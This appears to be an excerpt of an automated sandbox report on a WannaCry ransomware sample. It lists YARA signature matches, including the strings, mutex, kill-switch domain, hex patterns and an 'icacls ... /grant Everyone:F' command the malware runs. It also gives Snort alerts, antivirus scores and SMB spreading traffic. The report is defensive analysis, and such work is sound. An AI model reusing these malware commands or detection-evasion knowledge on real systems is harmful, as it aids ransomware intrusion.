4.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.4.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.2.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.4.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.6.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.6.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
4.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.2.mssecsvr.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
6.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q 0x3136c:$x3: tasksche.exe 0x4157c:$x3: tasksche.exe 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA 0x415d0:$x5: WNcry@2ol7 0x31344:$x8: C:\%s\qeriuwjhrf 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x414d0:$s3: cmd.exe /c "%s" 0x73a24:$s4: msg/m_portuguese.wnry 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.2.mssecsvr.exe.400000.0.unpack	wanna_cry_ransomware_generic	detects wannacry ransomware on disk and in virtual page	us-cert code analysis team	0x4157c:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63 0x415a4:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
Click to see the 91 entries

Snort Signatures

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.860996532830018 07/20/22-13:23:44.036888
SID:	2830018
Source Port:	60996
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.858715532830018 07/20/22-13:23:47.833285
SID:	2830018
Source Port:	58715
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.850519532830018 07/20/22-13:23:45.344564
SID:	2830018
Source Port:	50519
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 4Maoj78D1f.dll	Virustotal: Detection: 88%	Perma Link
Source: 4Maoj78D1f.dll	Metadefender: Detection: 80%	Perma Link
Source: 4Maoj78D1f.dll	ReversingLabs: Detection: 90%

Antivirus / Scanner detection for submitted sample

Source: 4Maoj78D1f.dll

Avira: detected

Antivirus detection for URL or domain

Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com	URL Reputation: Label: malware
Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/	URL Reputation: Label: malware

Multi AV Scanner detection for domain / URL

Source: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com

Virustotal: Detection: 9%

Perma Link

Antivirus detection for dropped file

Source: C:\Windows\mssecsvr.exe	Avira: detection malicious, Label: TR/AD.WannaCry.gpbbt
Source: C:\Windows\tasksche.exe	Avira: detection malicious, Label: TR/AD.WannaCry.gpbbt

Multi AV Scanner detection for dropped file

Source: C:\WINDOWS\qeriuwjhrf (copy)	Metadefender: Detection: 75%	Perma Link
Source: C:\WINDOWS\qeriuwjhrf (copy)	ReversingLabs: Detection: 100%
Source: C:\Windows\mssecsvr.exe	Metadefender: Detection: 85%	Perma Link
Source: C:\Windows\mssecsvr.exe	ReversingLabs: Detection: 100%

Machine Learning detection for sample

Source: 4Maoj78D1f.dll

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Windows\mssecsvr.exe	Joe Sandbox ML: detected
Source: C:\Windows\tasksche.exe	Joe Sandbox ML: detected

Source: 6.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/AD.WannaCry.gpbbt
Source: 6.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/AD.WannaCry.gpbbt
Source: 4.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/AD.WannaCry.gpbbt
Source: 6.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/AD.WannaCry.gpbbt
Source: 4.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/AD.WannaCry.gpbbt
Source: 6.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/AD.WannaCry.gpbbt
Source: 7.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/AD.WannaCry.gpbbt
Source: 4.0.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/AD.WannaCry.gpbbt
Source: 4.0.mssecsvr.exe.400000.4.unpack	Avira: Label: TR/AD.WannaCry.gpbbt
Source: 7.2.mssecsvr.exe.400000.0.unpack	Avira: Label: TR/Ransom.Gen
Source: 4.0.mssecsvr.exe.400000.6.unpack	Avira: Label: TR/AD.WannaCry.gpbbt
Source: 6.0.mssecsvr.exe.400000.2.unpack	Avira: Label: TR/AD.WannaCry.gpbbt

Exploits

Connects to many different private IPs (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.225:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.226:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.223:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.224:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.229:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.227:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.228:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.221:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.222:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.220:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
